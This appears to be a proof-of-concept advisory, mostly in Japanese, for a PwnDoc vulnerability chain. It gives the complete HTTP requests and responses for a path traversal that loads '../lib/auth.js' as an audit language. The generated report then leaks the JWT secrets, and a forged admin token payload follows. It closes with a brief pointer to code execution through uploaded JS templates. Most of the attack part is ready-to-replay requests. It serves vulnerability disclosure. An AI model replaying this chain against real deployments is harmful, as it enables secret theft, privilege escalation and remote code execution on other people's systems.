
[PoC] PwnDoCにおけるLFIを介した権限昇格とコード実行
The PwnDoc is vulnerable to both path traversal and local file inclusion (LFI), which allows unprivileged users to disclose JWT secrets and achive code execution.
Requirements:
user rolefinding.vulnType or finding.category tag脆弱性の連鎖は以下の部分で構成される:
AuditSchema.language プロパティのバリデーションがモデルレベルとエンドポイントレベルの両方で欠落している。(参照: /backend/src/models/audit.js, line: 71、/backend/src/routes/audit.js, line: 57)AuditSchema.language パラメータを require 関数で使用する。(参照: /backend/src/translate/index.js, line: 10、/backend/src/lib/report-generator.js, lines: 24-25, 477, 487)auth.js ファイルのモジュールエクスポートを介して jwtSecret と jwtRefreshSecret パラメータが公開される。(参照: /backend/src/lib/auth.js, lines: 17-21)js ファイルのアップロードが可能になる (template:create 権限が必要)。language として ../lib/auth.js を使用して監査を作成する。後でそのファイルは require 関数を使って読み込まれ実行され、その結果 jwtSecret と jwtRefreshSecret の両方がエクスポートされる。リクエスト:
POST /api/audits HTTP/1.1
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=utf-8
Origin: https://127.0.0.1:8443
Content-Length: 73
Accept-Language: en-GB,en;q=0.9
Host: 127.0.0.1:8443
User-Agent: {user-agent}
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: token=JWT%20{token}
{"name":"privesc-poc","language":"../lib/auth.js","auditType":"tested"}
レスポンス:
HTTP/1.1 201 Created
Server: nginx/1.22.1
Date: Sun, 20 Nov 2022 15:34:32 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 598
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Methods: GET,POST,DELETE,PUT,OPTIONS
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Expose-Headers: Content-Disposition
{"status":"success","datas":{"message":"Audit created successfully","audit":{"collaborators":[],"reviewers":[],"state":"EDIT","approvals":[],"_id":"637a49086f5a2e0012dd58c5","name":"privsec-poc","language":"../lib/auth.js","auditType":"tested","creator":"637a2065ab932e0012015580","sections":[],"customFields":[],"sortFindings":[{"category":"jjj","sortValue":"cvssScore","sortOrder":"desc","sortAuto":true},{"category":"dd","sortValue":"cvssScore","sortOrder":"desc","sortAuto":true}],"scope":[],"findings":[],"createdAt":"2022-11-20T15:34:32.246Z","updatedAt":"2022-11-20T15:34:32.246Z","__v":0}}}
finding.vulnType - {vulnType} または finding.category - {category} タグのいずれかが含まれている必要があることに注意。詳細は テンプレートドキュメント を参照。**リクエスト:
PUT /api/audits/637a49086f5a2e0012dd58c5/general HTTP/1.1
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=utf-8
Origin: https://127.0.0.1:8443
Content-Length: 207
Accept-Language: en-GB,en;q=0.9
Host: 127.0.0.1:8443
User-Agent: {user-agent}
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: token=JWT%20{token}
{"collaborators":[],"reviewers":[],"_id":"637a49086f5a2e0012dd58c5","name":"privesc-poc","language":"../lib/auth.js","auditType":"tested","customFields":[],"template":"6377d57e5cccb10012049dbb","scope":[]}
レスポンス:
HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Sun, 20 Nov 2022 15:34:43 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 65
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Methods: GET,POST,DELETE,PUT,OPTIONS
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Expose-Headers: Content-Disposition
{"status":"success","datas":"Audit General updated successfully"}
category または vulnType プロパティのいずれかに jwtSecret が含まれている必要があることに注意。**リクエスト:
POST /api/audits/637a49086f5a2e0012dd58c5/findings HTTP/1.1
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=utf-8
Origin: https://127.0.0.1:8443
Content-Length: 368
Accept-Language: en-GB,en;q=0.9
Host: 127.0.0.1:8443
User-Agent: {user-agent}
Referer: https://127.0.0.1:8443/audits/637a2106ab932e0012015583/findings/add
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: token=JWT%20{token}
{"title":"dsdsd","vulnType":"prod","description":"{description}","observation":"{observation}","references":[],"cvssv3":"CVSS:3.1/AV:A/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:L","category":null,"customFields":[], "category":"jwtSecret", "vulnType":"jwtRefreshSecret"}
レスポンス:
HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Sun, 20 Nov 2022 15:34:54 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 65
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Methods: GET,POST,DELETE,PUT,OPTIONS
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Expose-Headers: Content-Disposition
{"status":"success","datas":"Audit Finding created successfully"}
docx ドキュメントから jwtSecret の値を取得する。リクエスト:
GET /api/audits/637a49086f5a2e0012dd58c5/generate HTTP/1.1
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate, br
Host: 127.0.0.1:8443
User-Agent: {user-agent}
Accept-Language: en-GB,en;q=0.9
Referer: https://127.0.0.1:8443/audits/637a2106ab932e0012015583/findings/add
Connection: keep-alive
Cookie: token=JWT%20{token}
レスポンス:
HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Sun, 20 Nov 2022 15:37:34 GMT
Content-Type: application/octet-stream
Content-Length: 98134
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Methods: GET,POST,DELETE,PUT,OPTIONS
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Expose-Headers: Content-Disposition
Content-Disposition: attachment; filename="rce-poc.docx"
{doc-content}
role フィールドを admin に変更し、取得した jwtSecret を使用して署名する。JWT ペイロード:
{
"id": "637a2065ab932e0012015580",
"username": "justuser",
"role": "admin",
"firstname": "justuser",
"lastname": "justuser",
"email": "[email protected]",
"phone": "12345",
"roles": [
"audits:create",
"audits:read",
"audits:update",
"audits:delete",
"images:create",
"images:read",
"clients:create",
"clients:read",
"clients:update",
"clients:delete",
"companies:create",
"companies:read",
"companies:update",
"companies:delete",
"languages:read",
"audit-types:read",
"vulnerability-types:read",
"vulnerability-categories:read",
"sections:read",
"templates:read",
"users:read",
"roles:read",
"vulnerabilities:read",
"vulnerability-updates:create",
"custom-fields:read",
"settings:read-public"
],
"iat": 1668958053,
"exp": 1668958953
}
JWT シークレットを入手し、admin ロールまたは template:create 権限を追加した後、攻撃者はパストラバーサル攻撃を使用して、テンプレートアップロード機能でアップロードされた JS コードを実行できる可能性があります。
js ファイルをアップロードする。